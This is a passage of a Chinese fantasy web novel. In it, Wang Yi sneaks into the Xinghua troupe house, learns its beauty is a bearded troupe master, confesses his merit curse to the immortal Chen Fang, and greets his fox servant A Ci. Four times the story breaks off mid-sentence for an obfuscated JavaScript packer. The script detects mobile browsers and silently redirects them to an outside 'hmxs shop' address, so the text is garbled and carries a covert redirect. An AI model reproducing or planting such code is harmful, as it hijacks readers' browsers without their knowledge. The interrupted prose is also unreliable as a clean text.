夜啼女穿着宽大的蓑衣撑着篙,小小的乌篷船载着凄厉的歌声,钻过一座又一座青石桥。 城内有一条贯穿东西的河流,源头来自阴间的忘川,水上常年漂泊着几盏纪念亲人的荷花灯,因而得名“抚安河”。 水下没有游鱼,唯有水鬼露着一双绿油油的眼睛,灵活地游来游去。 妄一和尘芳迎风站在船头,自河的那端缓缓驶来,一红一白两位郎君的风姿硬将两岸的景色压过一头。 尘芳向来享受旁人的瞩目,他隐去仙气,喜滋滋地对妄一道:“难得出来游玩,你我并肩而立,可谓占足‘风光’二字啊。” 妄一板着脸,并未理会。 仙君习惯他这冷脸,于是道:“等会儿船靠岸了,我们先去对面的祥云楼用饭,随后再去杏花楼见见场面。你跟着哥哥,哥哥必让你尽兴而归。” 尘芳性情开朗,一高兴就絮絮叨叨说个不停。可妄一心中有事,时而附和两句,大多则是左耳进右耳出,而且更令她焦灼的是这都过去多久,破船连这街都没驶出! 妄一忍不住对夜啼女催促:“我说船家,你别磨磨蹭蹭了,我们有事在身,你可否再快点?”或许心情不好,他说话的语气也有些急躁。 夜啼女顿时不高兴了,张口呜咽起来:“你这官人好不怜香惜玉!我一弱女子撑船,载着你们两个大男人,不过稍微慢点,就呵斥起我了。” 不出意料,夜啼女的哭声说来就来,眼角掉下来的砂砾,淅淅索索落在船上,还有一部分掉进河里。 这夜啼女是出了名的“喜哭难哄”,那双眼睛常年肿得跟核桃似的,一下两下没伤心完,等哭够了,估计得拖到后半夜去。 妄一摸了摸鼻子,心道自己是实话实说,并无言语辱骂。身为雇主,只是催她快点,难道还有错了? 尘芳痛苦地捂住双耳,让妄一快想想办法。 “老弟,此事因你而起,你帮帮忙,把她哄好。她若一直哭,别说下半夜了,就算天亮我们也出不了这条街。” 是啊,他们招惹的对象就是如此,哭声绵长尖锐,感染力可谓超强。 妄一觉得仙君还是太乐观了,什么叫等天亮了也出不了这条街?自信点,说不定大后天他们还困在这条街。 但这事不能全然怪他,出发前,他早和尘芳说了徒步即可,他俩脚程快,须臾就能赶到。仙君非说坐船快,还偏偏挑夜啼女掌舵,妄一也是信了他的邪,瞎了眼跟上来。 呵,要是夜啼女模样清秀,哪里用得着他出面?想必尘芳自会摇着扇子,温声细语地劝慰了。 心烦意乱间,妄一左臂传来一阵刺痛,好在只是瞬间的,他不作声色地掩饰过去。 尘芳仙君没察觉到他的异样,锲而不舍道:“老哥承认你天性聪慧,安慰人定能手到擒来。再不济,你就当是牺牲美色,换个耳根清净,好不好?” 好?好个锤子不通之论!妄一重哼一声,但为大局着想,还是沉住了气。 小不忍则乱大谋,他耐着性子走到夜啼女跟前蹲下,费力摆出一张和善的笑容,咬牙道:“好姑娘,哭这么久累了吧?我们赶路,你发发善心先闭嘴吧?” 指缝里看人的夜啼女,表情与尘芳仙君皆是惊愕。 说是劝慰,语句实在不太像;说没劝吧,他好歹怀着诚意地开口了。 尘芳糟心地闭上眼,唉,他该知晓的,妄一常年面对的都是监狱狂徒,何来友善一说?是以,夜啼女受了安慰,不但没停下,反而哭得更凶了。 妄一脸黑了,拳头跟着硬了,尘芳怕他冲动,拉过来道:“我说你,哄也不是这么个哄法。别说夜啼女了,换个姑娘都接受不了啊。” “我不行?”妄一看他一眼,大方让步,“言传不如身教,仙君您请。” “我啊......”尘芳也犯了难,他有包容之心,但若几句温言,搅动姑娘家的芳心如何是好? “能替我就替了,但这个活,哥哥真做不来!”尘芳义正词严地拒绝了。 妄一淡淡道:“看看,刀不扎仙君身上,仙君便不能感同身受。” 尘芳被说得哑口无言,眼神忙飘向别处。 夜啼女还在嚎哭,因为她,两边的群众都被这魔音驱走了。 此事没得商量,妄一看尘芳的眼神突然像长辈一般慈祥。 说实在的,尘芳更喜欢老弟的冷脸,一朝改善,他心里怪不安的。 直觉有时准得可怕,妄一忽而大笑一声,拍了拍他的肩头,道:“仙君大人,有劳你在船上陪她。我有事耽误不得,这厢先走一步。” 他也不管尘芳什么神情,说完便飞身踩上那乌篷顶,借力跃上岸。 他一走,尘芳顿时脸色大变,在后面喊:“妄一,妄一,你等等我,没有我你进不去杏花楼的!” 这话终究说晚了,仙君有心去追,可妄一常年练成的身手,飞檐走壁快如闪电,一晃眼就消失在大街。 红色身影划过长空,在月下疾速飞奔。 按仙君此前的意思,新开的杏花楼建在祥云楼对面,门口栽种一株杏花,不用抓人问路,好找得很呐。 妄一自认为形象没那么寒碜,谁知刚到门口,两个夜叉将他拦下来,说楼里客满,让他明晚再来。 什么?这真是天大的笑话,勾栏之地还有客满之说? 他表面不惊,掏出碎银递过去,请他们行个方便。 银子在不同的手里转了一圈,原封不动地转回到原主人手上。 左边的夜叉正气凛然道:“通融了你,我俩就要丢饭碗。你明天早点来就是,别为难我们看门的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963673|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他们把“油盐不进”的铁律贯彻到底,妄一碰一鼻子灰,却并不气馁,再次道:“我大老远专程赶到这儿,若是见不到楼里的美人,岂不是扫兴至极?君子有成人之美,不如两位体谅体谅我?” “去去去!你不守规矩就哪凉快哪呆着去!再这样胡搅蛮缠,小心我们不客气!”夜叉根本不吃这一套,推翻妄一的情真意切,还说在他之前,有几十个想混进去的都是用这个借口。 另一个夜叉的态度稍微好点,指了指旁边贴着的那张红纸,说道:“别说我们不近人情,你要真想进去,先将那告示看清楚。” 妄一不再与他们纠缠,店大欺客,连送上门的银子都不要。不从正门入,走别的门也不是不行。离开前,他还是看了眼告示牌上那张贴得方正的红纸。 大致的内容写着:本楼开张大吉,进门需凭票据,一日限售四十张,最低三两白银。 妄一还道自己眼花,他清楚某些行业的规矩,有名气的都要设置门槛费,掏不出这个钱,说明里头的花销水平也不是来客能接受的,换个意思就是变相劝退。 但这是三两白银啊,又不是三文铜钱!杏花楼刚开张就如此狂妄,不知藏了什么级别的美娇娘?遥想当年夜游楼盛极一时,才有门槛费五两的说法。 罢了,反正不管几两,他都要进去一探究竟了。 越是诡异反常之地,越会藏点乌烟瘴气的东西。莲烨掌门抄起黑店,早已得心应手。 他又继续站了一会儿,装作落寞地离开,转角便走进一条小路,一个潇洒翻身进了内院。 落地时,恰好有株盆景遮挡他的身形。 在外看不出名堂,进了内院方知此地布置不像别的楼馆花花绿绿,相反还十分雅致,并且......戒备森严? 走廊回环处,每隔一段就站了个护院。换作别家,有四五个就差不多了,毕竟干巴巴的站着人,大家都挺放不开。 杏花楼此举反常,让妄一不禁揣测他们莫非以前被人洗劫过,所以多安排人手保店平安,又或者是怕客人会吃霸王餐? 不管了,诸多疑虑,待他先在里头溜达一圈再出结论。 妄一摸着墙,使了个障眼法直接爬进二楼。没有酒池肉林,也没有男客的嬉闹,偶有女子走动,入目也非是她们轻佻妩媚的模样,而是衣着得体,看不出一丝风尘气。 二楼分设多个房间,其中一间放置古筝、琵琶、长笛等器具,应是为了奏乐所需。 妄一跟壁虎似的贴在墙上前进,向更远的地方探索。 在靠近三楼的位置,他听到些许人声。 “我强调好多次,凡是我的衣服,每回取出都要精心熨烫过。你看看上面的折痕都还在,眼看要登台了,你让我怎么穿去露面?”说话之人语气急切,音色却粗狂如汉。 妄一伸手点破窗纱,屏息往里头瞧去。 5. 不知美人真面目 璎珞串成的珠帘隔断房里的布局,一紫衣女子坐在雕花红木的梳妆台前。她骨骼匀称,身姿窈窕,虽背对着门口,但不难联想转过来的容貌必是极佳。 她在凳子上把握琴弦,慢慢调试音准。身侧一个仆婢打扮的丫头低着头,极为拘谨。 不会错了,这大概就是尘芳仙君说的头牌美人,妄一使劲看,不知刚才呵斥丫头的男人在哪儿?看来看去,房里似乎只有这一对主仆。 “外头如何了?宾客都来了吗?你快帮我把这件衣裳烫平,我好赶过去,今天弹的曲目必须要配这件。”那个声音再度开口,是美人偏头在对丫头吩咐。 音色浑厚如滚石,妄一甚至怀疑大半夜出现幻听,因为这绝不是年轻女子所为,就算强装低沉也不能。 就在妄一愣神的工夫,琵琶已经调好音,乌发美人把它往边上一放,转而去照镜。 出场在即,她要精心补一补胭脂方可安心,蓦然发现镜中有只眼睛透过纱窗在看她。 “谁在外面?!”美人大喝一声,转头与那只眼睛对上。 一切来得太突然,她迈着长腿,动作迅速,一下就冲到门口。 妄一反应也快,忙往旁边躲去。但因这走廊实在太长,且没有可以藏身的地方,所以留下了踪影。 “吃了熊心豹子胆,我的楼也敢乱闯?!” 美人一脸怒容,没了优雅与稳重,拔腿去追妄一的时候,窈窕身姿骤然舒展,化作一名狂野大汉。跑起步来,脚下楼板震颤。 妄一甩人的本事惯有一套,但因这属对方地盘,导致追逐过程中,乌发壮汉占据上风。 楼下所有护卫听到动静也都全副武装围拢过来。平静的杏花楼一下子沸腾起来。妄一甩开一段距离,奔至小楼后院。 那些人马上就会追来,情势所迫,正好有座荷花池在,妄一深吸一口气,潜入其中,同时暗喜池水油绿,却不脏臭。 壮汉带一大堆人手找来,贼子没了踪迹,便停在池边环顾四周。 夜色深沉,四周点了灯火,但没人发现妄一。 他躲在某片荷叶下,这个角度恰好能看见壮汉的侧脸——肥头大耳,加上满脸络腮胡,一怒之下变身,将好端端的紫衣都撑破了。此时光着膀子,身上只零星挂了几根破布条。 亏这些残存的布料,不然妄一怎么都想不到适才的美人竟是他。 “班主,贼人肯定还没跑出咱们院,说不定就藏在某个角落,我们再仔细搜搜!”某个手下出言道。 被称作“班主”的壮汉回道:“哼,他敢偷溜进我杏花楼,逃跑本事也有一套,只怕有备而来。”说到这里,他眉头一跳,惊叫:“不好,叫人速去琴房,我那些琴谱还在不在原处!” 这是他立身之本,可以说整座楼最值钱的不是卧房里珍藏的金银细软,而是琴房里的乐器琴谱。 “是!”手下领命,立刻扭头奔去。 另一人迟疑道:“班主,我们追到这里,他就不见了。您说他会不会潜进这荷花池了?要不咱们......” “混账东西!”壮汉想都没想,反手给他一记耳光,“你抓不到贼,锅也乱甩,它是你说抽就能抽的?我废多大精力将它种起,里面的东西,就算他敢藏进去,也别想活着出来,你们还不赶快去别的地方再找!” 其余人见状,皆唯唯诺诺不敢多言,这荷花池是班主的心血,班主会因它而暴怒,毫不意外。 “我请那么多人当护院,溜进个贼居然还捉不到,可笑!”壮汉怒极,“将今天的票子都退了吧,出了这么个大变故,已经不适合弹奏了。” 旁人瑟瑟发抖地听班主埋怨,不敢在池边久待,提着刀匆匆往别处搜查了。 荷花池畔很快恢复宁静,妄一憋了许久,才大着胆子探出头,确认周遭无人,忙利索地爬出池水。 荷花池上,水波飘有斑点荧光。 他身上完好无损,除了比平时更觉得清凉,找不到其他难受之处。 方才听壮汉说荷花池里有东西,他刚刚在水底,并无察觉异常,除了池子深一些,内壁覆盖淤泥难以攀爬,还有就是.......冷。 冷得不似寻常之水,仿佛裹挟阴寒之气,就连他念起口诀,助自己摆脱落汤鸡的狼狈样,那股寒凉仍未彻底驱赶。 此地不宜久留,那些人还会再回来,妄一迅速翻墙离开。全然不知在他离开不久,满池娇艳也飞速枯萎,杏花楼让恶臭漫延。 黑夜无边,妄一独自走在鬼京的街道上,心想原传的什么美人,今晚被他撞见是个粗狂大汉,他料定楼里有见不得腌臜事,回去后得好好盘算一番。 左臂的疼痛再度袭来,妄一伸手轻抚,以期缓解。后半夜的鬼京没了华灯初上的吵闹,多数鬼怪打道回府。 妄一冷冷清清徒步而行,转弯时忽然撞上一个人。 他没想计较,对面的人却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963674|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捂着额头,不肯相饶,待看清所撞之人是谁,惊呼:“妄一!是你?” 妄一同样感到意外,没想到今晚还能再遇尘芳仙君。 他把人从地上拉起,玩笑道:“仙君大人,那夜啼女这么快就放过你了。” “你这人!你撇下我独自跑了,还好意思笑?你知哥哥受了什么苦?她死活抱着我的手都不肯放。”说起这茬,尘芳就来气。 妄一被指责得有些心虚,说道:“那你后来怎么脱险的?仙君成功点化她了?” “......没有。你消失在岸上,我跟着着急,于是腿脚不听使唤了,不小心就把她踹下船了......”为稍作弥补,他在夜啼女的甲板上多放了点钱财,然后抽空去洗了个澡,这才来晚了。 妄一神色略微复杂,他知夜啼女的冷静是迫不得已,抚安河的水对鬼怪的皮肤没什么伤害,但要喝了它,基本和倒岩浆进嘴没有区别。 “仙君原来早脱身了,不过我已去过杏花楼,今晚就不奉陪了。”妄一会跟来,本就不是为了玩乐。 尘芳不太确定地说:“什么?你已经去过里面了?还是一个人进去的?” 一个人进出有什么问题? 妄一莫名其妙道:“杏花楼就是个奇怪点的勾栏,独自进出有何不可吗?” 这个名称一蹦出来,仙君微微震惊,随即掏出两张红票,道:“老哥何时告诉你,杏花楼是勾栏?本仙君放荡不羁是不假,但真会带你去那里吗?罢了罢了,也不怪你会胡思乱想,他们取这个名,我又说楼里的姑娘美貌云云,那么现在我郑重交代一次,人家是正经营生,开的是优伶班子!” 妄一接过票子来回翻看,道:“仙君这话到底......是什么意思?” “就是简而言之,今晚我买了两张首席的位置,想与贤弟共赏班主琴技!”尘芳道,“你刚离开船,我就想告诉你,没票是进不去的,你跑得飞快啊,不过今晚想看也看不成了,班主临时抱恙,闭门谢客了。” 杏花楼想做生意,自然也得仁义,凡是来兑票的客人,银钱都退还了,退的还是双倍。 妄一捏着红票,原来如此......原来如此...... 怪不得他潜入时,所见事物行为端庄,皆无风尘影子。 尘芳一把揽他的肩膀,笑道:“贤弟何故表现失落?杏花楼去不成,改去祥云楼便是,折腾一宿,你不饿,也当是陪我了!” 6. 祥云楼内论往事 祥云楼为全京最有名的酒楼,由于生意兴隆,想要光临需提前招呼一声。 按常例这个时辰,楼里就该打烊了。可仙君端的是贵客的身份,说了会来,里面五层灯火都得亮着。 三楼上等雅间装饰阔绰典雅,盆景里的罗汉松郁郁苍苍,精雕细琢的烛火台上,悬放一枚夜明珠,散发的光辉绚烂夺目。 仙君点的都是招牌菜,一张八仙桌,放得满满当当。 妄一看着桌子,心想仙君仙君在蓬莱仙岛莫不是受了冷遇? 尘芳爽朗一笑,道:“仙岛上琼浆玉露为多,我反倒更中意饭菜上的烟火气。既是哥哥请客,你无需客气。”仙人无需五谷饱腹,但他在鬼京吃习惯了,而且哥俩坐一起谈话,若无小酒小菜,也着实干巴。 席间,仙君小酌几杯后,才谈起这则传闻——杏花班有百年的技艺,吹拉弹唱,无所不精。 “听说这个班子曾经红极一时,后继无人,才没落下来。时隔多年,没想到还有重开之日。” 杏花班现由塞依娘子当家,尤擅弹奏琵琶乐。因其尚有几分姿色,不少王孙公子都愿为她一掷千金,求娶之人更是数不胜数。而她似乎只痴迷琴艺,且知凡尘爱恋都是虚无缥缈之物,若真跟那些人走了,日后也只会是深宅里的花瓶。 塞依娘子有成业的决心,可惜天妒红颜,二十几岁香消玉殒。而后过去多年,突然在鬼京登场,重演当年时兴的曲目,想再次振兴班底。 尘芳叹息道:“我刚回来就听见这桩新鲜事,旁人将她的琴技吹得那样高,我便想听听它与天宫仙乐的差距。不过看样子,泡汤咯。” 妄一沉默不语,他知因是他的私闯搅了一帮听客的雅兴。不过话又说回来,谁家的女子生得肌肉发达,还有绵延浓密的胡子?只因仙君一句“新花样”,他就翻墙进院,结果全然徒劳一场。 瞥见老弟情绪略微低落,尘芳仙君犹豫了下,问他是不是把那儿当窑子逛,调戏了人家? 妄一夹只鸭腿塞尘芳嘴里,说:“有吃的还堵不上仙君的嘴!” 这筷子来得突然,尘芳咳了几下,面色通红道:“不是这原因,还有什么原因?瞧你那样子,分明跟到嘴的鸭子飞了似的!” 妄一敬他是仙君的身份,姑且忍着,自顾加快进食的速度。 尘芳偏爱喜闹,对方不理睬,他便哼声道:“其实我这次回来,还带了一个好消息。” 妄一头也没抬,吃那么多有点干巴,拎起茶壶倒水喝。 “喂,你听见没有?”尘芳郑重强调,“这对你来说,是个了不得的好消息!” 妄一平静地掀了下眼皮,仙君承认有被气到,当即报出那四字名号。 说是四字,但说到第三个字的时候就被打断了。 妄一瞬间起立,探出大半个身子,道:“你别是想告诉我,笙媱帝姬跟你一块儿来了!”此举不小心牵动手臂上的疼痛,他又坐下,调整几下呼吸。 世有蛟龙神族,在凛海一方盘踞,育有掌上明珠,唯系红衣郎君。 “别急啊,我哪能干这等糊涂事?都说是好消息,你怎不相信?”尘芳仙君表情揶揄,“我知你对她极为排斥,感情一事没有结果,所以啊,她马上要和别人结果咯。” 妄一先是惊异,而后反应过来,问仙君所言非虚? 尘芳点头道:“佳人在前,你不珍惜。现在好了,天帝有意把她指婚给白誉真君。” 这话并不复杂,妄一听后,澎湃的心情久难平复。 他与笙媱帝姬曾有一段缘。想娶帝姬的人,能从凛海龙宫能排到九重天宫,而妄一区区苍鸯殿掌门,何德何能受到青睐?但就那么巧,仪表堂堂的莲烨大人很有做金龟婿的潜质。 这件事,妄一的其他同僚多少有耳闻,顾忌帝姬颜面,都是心照不宣,不搬到明面上说。 帝姬样貌虽非绝色,但也胜过多数女子,她认准一个人,便会专情到底。偏偏妄一缺情少爱,绣球都抵在他额前了,他装看不见。 “我对这位姑奶奶没那么了解,只从她对你的态度来看,确实是付出真心了。” 尘芳惋惜着,并提到从前某桩事情。 妄一身为掌门,在京中树敌不少,有次刚出苍鸯殿没多久,就被人拦路抢劫。东西没被夺,可他回来青一块,紫一块。帝姬特意赶来探望,若无尘芳极力劝阻,她当时都想住莲烨门亲自伺候了。 这恐怕是蛟龙神王都没有的待遇,妄一却冷笑回应:“如果我告诉你那群人就是她安排的,还算不算是好福气?” 记得出门前,帝姬送他一壶消暑的好茶,并亲眼看他饮下,随后出发就凑巧路遇歹徒,再然后凑巧运不上功法。 帝姬做了坏事,连遮掩都嫌懒。妄一带着伤,前脚刚进莲烨门,后脚她就火急火燎赶来,若说其中没有鬼,他是不信的。 “这怎么可能呢?”尘芳只当人家顶多娇惯些,怎会有这么蛮横任性的一面? “哈哈,怎么不可能?”妄一苦笑,“我于苍鸯殿安分守己,若无仙君相助,我恐怕还没这份荣幸结识帝姬。” 尘芳惭愧地低下头,是了,说起这二人的初遇,他出了最关键的一力。 多年前的那个傍晚,帝姬西游至此,白水娘娘尽地主之谊,邀她赴神欲鬼京暂住几日。 仙君不想去接驾,临时求了老弟相替,才让他沾染这段孽缘。 妄一每每半夜醒来都恨不得抽自己俩嘴巴子,没事接的破差事。他好几次都想告诉帝姬,本该来的是尘芳仙君,但说与不说,已无多大意义。 眼见气氛有点尴尬,尘芳忙打了个哈哈。 妄一早就不吃了,他双臂压在桌上,神色晦暗。 手臂上的东西终究严重了,旁人若是留意,还能注意到他的双肩在微微发抖。 一桌子菜有些才动了几筷,怕老弟等不急,尘芳只好草草结束,唤伙计过来结账。 祥云楼凡以“贵客”之礼相待的,就席无需付真金白银,只在那单据末尾盖下随身印章,一月之期满了,伙计将账款送达府邸。 尘芳理了理衣着,准备离去,妄一还趴在桌上,就过去敲了两下桌子,暗笑刚刚谁不想陪来呢,现在反倒舍不得走了。 “醒醒,莲烨大人,天要亮咯。”尘芳又敲了两下。 妄一紧咬牙关,对抗那痛感的同时,腾出手朝仙君挥了两下,示意他先走。 尘芳停在桌旁,问:“你怎么了这是?” 他伸手拍了下妄一,就是这么一拍,人跟没了主心骨似的,从凳子滑落摔在地上。 妄一并未失去意识,只是左臂的疼痛让他无法思考,已不是光靠捂就能捂住的了。 黑色的气息透过袖子的布料钻了上来,尘芳仙君面色大变,一下掀开他的袖口。 这一看,竟有条狰狞疤痕,裂谷似的绽放在人的小臂上,黑气萦绕下,更添几分可怖。 “这是什么东西?!”尘芳倒抽一口凉气。 妄一表情痛苦,在黑痕的折磨下,几乎昏死过去。仙君心知不可再拖,抬手就往他身上渡去仙气。 两股力道在皮肉中相互交缠,像夺地盘似的,企图吞噬彼此。 妄一满头虚汗,他浑身滚烫,体内却又有清冷冷意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963675|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴唇白得更是不像正常人。 他的身躯变成两军交锋的战场,尽管黑气汹涌霸道,但有仙君在此,源源不断的仙气以多胜少,总算将其压制。 妄一脸上逐渐转为清明。 “你感觉好点了吗?”尘芳用臂弯托起他,“你告诉我这是什么?你怎么沾染上的?” 妄一眼皮半睁,视线尚未聚焦,他抿了抿唇,不愿将它的来历告知,毕竟有些不光彩,像个污点标榜他的过去。 “唉!你都快疼死了,还要瞒我啊?”尘芳有些生气,难道说这么多年,大家只是表面朋友? 妄一了解仙君的古道热肠,可正因关系熟络,他才不想吐露忧心事。 “你不说无妨,我自己去查,你就想把我急死是吧?我告诉你,哪怕是花柳病,你大大方方地讲,我保证绝对不会笑你一个字。” 妄一本想骂他,可一拽仙君衣裳,力气已去三分之二,最后只得软声道:“你别去,我这,我这是......”他烦得头疼,想来事已暴露,索性诚实道:“是我身上的诅咒!” 究其来源,得从好多年前说起。 那会儿,他独身来到神欲鬼京,求白水娘娘救他一命。虽然事后获取额外的光阴,但也求来了这条咒痕。 它的存在是作为诅咒的实体化身,每赎清一份罪孽,就会自动消减一分。算算时间,快过去一百年了,经过功德洗涤,它比最初的模样好上数倍不止。 “我叫它‘功德煞’,它鞭挞我的斗志,提醒我功德尚未圆满,等哪日真正摆脱了它,才是我灵魂自由之时。” 天道将这副枷锁沉重地架在妄一脖子上,白水娘娘只宽限百年时间,届时若没有赎清,等待他的下场可想而知。但可笑的是,连入狱的囚犯都明白自己所犯何罪而被判刑,唯独妄一对自身的罪因无从知晓,更无从打探。 咒痕越疼,越是在提醒所剩时间不多,妄一粗略估算,约莫还有二百天光景。 尘芳恍然大悟道:“怪不得你是苍鸯殿有名的劳模,上岗上值,风雨无休!” 妄一有些窘迫,他暗暗打量仙君神色,见其毫无嫌弃之意,微微感到放松。 仙君怪他有这桩麻烦事,竟能忍住不早说。 “功德只对于天下生灵而言,天上不讲这套体系,不然我就把自己的挪给你了。” 妄一低下头,未应答,他有时一股脑热为功德痴狂,但静下来一想又觉得自己傻。 “罢了,想来想去,你也只能求助我,我做神仙好多年,不清楚功德煞,只晓得天道有些惩罚确实......”仙君适时止口,给人吃定心丸,“不管怎么说,我不会坐视不理,虽然老哥是天界正义之辈,但也懂得些旁门左道。” “旁门左道?”妄一深感怀疑,这难道不是仙家禁忌吗?仙君提起,怎说得自然又坦荡? 尘芳拿扇子敲他,道:“我是看你备受折磨,想帮忙找找有没有近路,否则单靠正路来的那几个破功德,债孽未清,你倒先疼死了!” 无论这主意将来是否可行,妄一此刻已被仙君的仗义所言而感动。 “但我这毕竟是上苍降下的诅咒,仙君帮我,算不算是逆天而行?再说如果真是我从前作恶多端,罪有应得。你......帮了我,日后可会后悔?”妄一先前未提起,除了知道这是难解之题,更怕的是拖累别人。 “你这说的哪里话?和我客气上了?”尘芳皱眉看他,“老哥对自己识人之能相当自信,我了解你,你不是那种人。何况天道.......”他朝上方小心翼翼地瞅了眼,嘴巴小声嘀咕:“天道也不一定完全是对的。” 7. 莲烨门狐归书现 黎明时分,曦光将要投向大地,在伙计二次上来询问前,妄一和尘芳总算离了祥云楼。 仙君有自己的仙府,不与老弟同道,走前多有叮嘱,不要轻举妄动,他去想个妥善的法子,助其尽早摆脱诅咒。 “实在不行,你去我府上小住,我好随时关照你。” 妄一婉拒好意,他任莲烨门之掌事,居所位于苍鸯殿内。且有仙气的滋养与缓解,如果不是印迹难以抹去,他现在感觉和正常人没有分别。不过仔细琢磨,这次咒痕发作不与往常相似,除了刮骨似的剧痛,好像还有别的,只是太细微了,他未能清晰捕捉。 尘芳也不强迫,让他回去路上多加小心。 天上的光辉渐渐明亮,晨曦将宫殿上的琉璃瓦照得光彩夺目。 妄一踏步而归,入了苍鸯殿,最终停在过道边墙的某扇红木门前。上面凌空悬挂“莲烨”字样的匾额,正是他的栖身之地。 门一开,内里呈现的不是普通房间布局,而是桃花源似的山水中。 此乃苍鸯殿的奇特之处,内含二十八门,每扇后面风景各异。 凡以“掌门”自居者,皆可依据自身喜好,随意催动术法更改面貌:有人会选择深山老林静寂之处,有人则钟爱喧嚣长安繁华街市。 而莲烨门里,远处山峰烟云缭绕,两侧树林郁郁葱葱,中间铺就一条大道,直通辽阔湖泊。 但妄一初入此门,门后的景象可没如今安逸。 当年他新贵上任,有同僚前来恭贺,都说莲烨门的位置好,入宫门左数过去第七道,不于首不末尾。 在众人的注视下,他剪去门口的红绸缎,因站在最前头,所以是第一个瞧见里面布置的人。 其余人从一指宽的门缝里瞧不出名堂,只见莲烨掌门如木桩愣在原地 按理说妄一是娘娘钦点晋升的,幻化出来的房景不该落俗。 混乱中谁搡撞一把,将莲烨掌门直接推进去,两扇门板赫然全开,里面雪白干净的场景一览无遗。 空——空得什么颜色都没有。 众掌门连想好的道贺词都不知该怎么说出口了。奇哉怪哉,这是将来要办公居住的地方,谁会喜欢化出个一穷二白的场景来? 还好妄一心性坚强,他没有另换居所,而是研习换景之术,改善门里风貌。 他穿过林间大道,衣袂不卷飞花残叶。 尽头的湖泊像一块无暇的翡翠镶嵌在绿茵之间,低头望去,水中有鱼有草,灵动逍遥。湖中心有个小岛,一架木桥直通岛上院落。 忙活一夜,满身困意来袭,但他还是撑着眼皮,拿过铜盆取水净面。 水上倒映出他的模样,因见过千万次,早就习以为常,但这终究不是他的真身。 百年前,他来到鬼京还是姑娘家,因阳寿将近,内脏出现不可逆的轻微腐败现象。 白水娘娘助他修补,赐下红发绳,能滋养壳中生魂,唯一的弊端就是佩戴者会化为男相。 本待魂魄恢复强壮后,妄一就能取下,但因习惯了佩戴,就一直用到今日。 莲烨大人的睡眠较浅,这次格外长久,迷迷糊糊睡到午后,侧过头看一眼。 他住的屋子分三居室,卧房处于右偏室,这一眼正好瞥见有一火红毛绒脑袋从正房的门外探了进来,蹑手蹑脚,小心翼翼。 妄一未曾大喊大叫,抄起自己的枕头扔过去,道:“鬼鬼祟祟!你还知道回来?” 枕头不偏不倚打中那颗脑袋,门外“哎呦”一声,那人捂着头,大大方方走进来,苦道:“好久不见,大人脾气真是愈发大了。”他一露全身,唯有八岁孩童之高,着布衣,说人言,虽为狐身,却可站立行走。 妄一翻身下床,酸溜溜地说道:“我关禁闭前你在外游荡,我出禁闭后,你还在外游荡。你这妖精的身份进出鬼京都无需报备,当真是得意得很。” “大人行行好,我哪能和您比,阿辞去哪儿都没忘记您呢!”狐狸头连忙作揖讨饶。 妄一冷笑道:“此去三五载,不见音讯,的确挂念我。” “瞧您说的,挂念都是放心里挂念,整日挂嘴上,您又听不见。况且出门在外,我一直都有捎东西给您,您还瞧不见我的忠心吗?”阿辞乐呵呵地辩解。 妄一暼他一眼,没再搭腔。 阿辞的本体是只赤色火狐,本已修炼到可化人形的地步,谁知遇上天降雷劫。 那雷本是去劈隔壁另一只即将长出三尾的白色银狐,阿辞瞎凑热闹刚好在降雷的范围内,想跑跑不快,生生受了一击。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963676|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 雷劫摧毁他的修为,他倒在草坪上奄奄一息。是妄一顺路救他一命,带回鬼京。 经药郎仙的诊治,阿辞这条狐命是保住了,但根基被毁,再无法修炼,如今懂得也是普通精怪的三脚猫功夫。 阿辞见面还问大人的咒痕怎么样了?他除了在外鬼混,哦不,在外闯荡时还惦记帮大人寻找消痕之法。然世上能得此咒垂爱者少之又少,数年过去,毫无所获。 赎罪期限迫在眉睫,手臂上时不时传达剧痛,妄一想把百年的期限透露给阿辞,可如此一来,除了空长焦虑,别无好处。而且相比凡人,他已多活一百年,换个角度来看,也算赚了,就是有点累。 妄一问阿辞何时再走? 